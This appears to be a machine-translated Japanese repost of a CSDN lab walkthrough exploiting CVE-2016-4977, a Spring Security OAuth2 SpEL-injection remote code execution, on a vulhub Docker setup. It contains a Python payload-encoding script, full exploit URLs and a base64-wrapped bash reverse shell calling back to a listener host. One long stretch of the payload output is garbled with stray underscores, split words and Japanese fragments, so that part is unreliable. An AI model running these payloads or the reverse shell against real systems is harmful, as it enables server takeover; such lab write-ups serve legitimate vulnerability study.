Spring Security OAuth2 リモート コマンド実行の脆弱性

1.環境の構築

cd vulhub/spring/CVE-2016-4977/
docker-compose up -d

ここに画像の説明を挿入しますここに画像の説明を挿入します

2. 脆弱性の検証


http://192.168.10.171:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://testにアクセスし
、admin:admin でログインします。
ここに画像の説明を挿入します

脆弱性が存在することを示す以下のエラーメッセージが表示される(response_typeのコマンドが実行される)
ここに画像の説明を挿入します

3. ペイロードの準備

poc.py
#!/usr/bin/env python
message = input('エンコードするメッセージを入力してください:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang. Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

python3 poc.py #実行するコマンドを入力すると、処理されたコマンドが返されるので、ここにwhoamiと入力します。
ここに画像の説明を挿入します

結果の出力を取得します
T (java.lang.Runtime)。get R untime() 。exec (T (java . lang . C haracter) . to String (119) . concat (T (java . lang . C haracter) . to String (104) ) . concat (T (java . lang . C haracter) . to String (111 ) ) . concat ( T ( java . lang . C haracter ) . to String (97 ) ) . concat ( T ( java . lang . C haracter ) . to String (109 ) . concat (T(java.lang.Character).to String(105)))ペイロード:oauth/authorize? 応答タイプ = {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat (T(java.lang.Character).toString(111)).concat(T(java.lang.T ( java.lang.Runtime ) _ _ _ _ _ _ _ _ _ _ _ _ _ get tRuntime ( ) _ _ _ _ _ _ exec ( T ( java . lang . Char a c ter ) . to String ( 119 _ _ _ _ _ _ _ _ _ _ _ _ _con c a t ( T ( java . lang . Char a c ter ) . t o Stringing ( 104 ) ) _ _ _ _ _ _ _ _ _ _ con c a t ( T ( java . lang . char ac ter _ _ _ _ _ _ _ _ _to String ( 111 ) ) _ _ _ con c a t ( T ( java . lang . Char a c ter ) . t o Stringing ( 97 ) ) _ _ _ _ _ _ _ _ _ _ con c a t ( T ( java .l _ _ _ _グラム_ キャラクター_ _ _ _ _ _ ストリング( 109 ) )まで_ _ _ con c a t ( T ( java . lang . Char a c ter ) . t o Stringing ( 105 ) ) ) Pa y l _ _ _ _ _ _ _ _ _ _ああ_ _:o a u th / a u th or ize ? _ _ _ 応答_ _ _ _ _はい_ _= {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat( T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat (T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

4. ペイロードの実行

ここに画像の説明を挿入します

プロセスが返され、コードが実行されたことを示しますが、エコーはありません。これは、エコーなしの RCE です。

5. 変形したペイロード

シェルコードを準備します: bash -i >& /dev/tcp/192.168.155.2/1111 0>&1 を
base64に変換します: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
シェル: bash -c {echo,YmFzaCAtaSA+JiAvZG V2 L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64, - d}|{bash,-i}
Python poc.y 出力を取得
ここに画像の説明を挿入します

上記のコマンドを response_type パラメータ セクションに追加して、変換された URL を取得します
。 6. Getshell が
モニタリングをオンにします。
ここに画像の説明を挿入します

変形されたペイロードを実行してシェルを取得します
ここに画像の説明を挿入します

おすすめ

転載: blog.csdn.net/wutiangui/article/details/132777725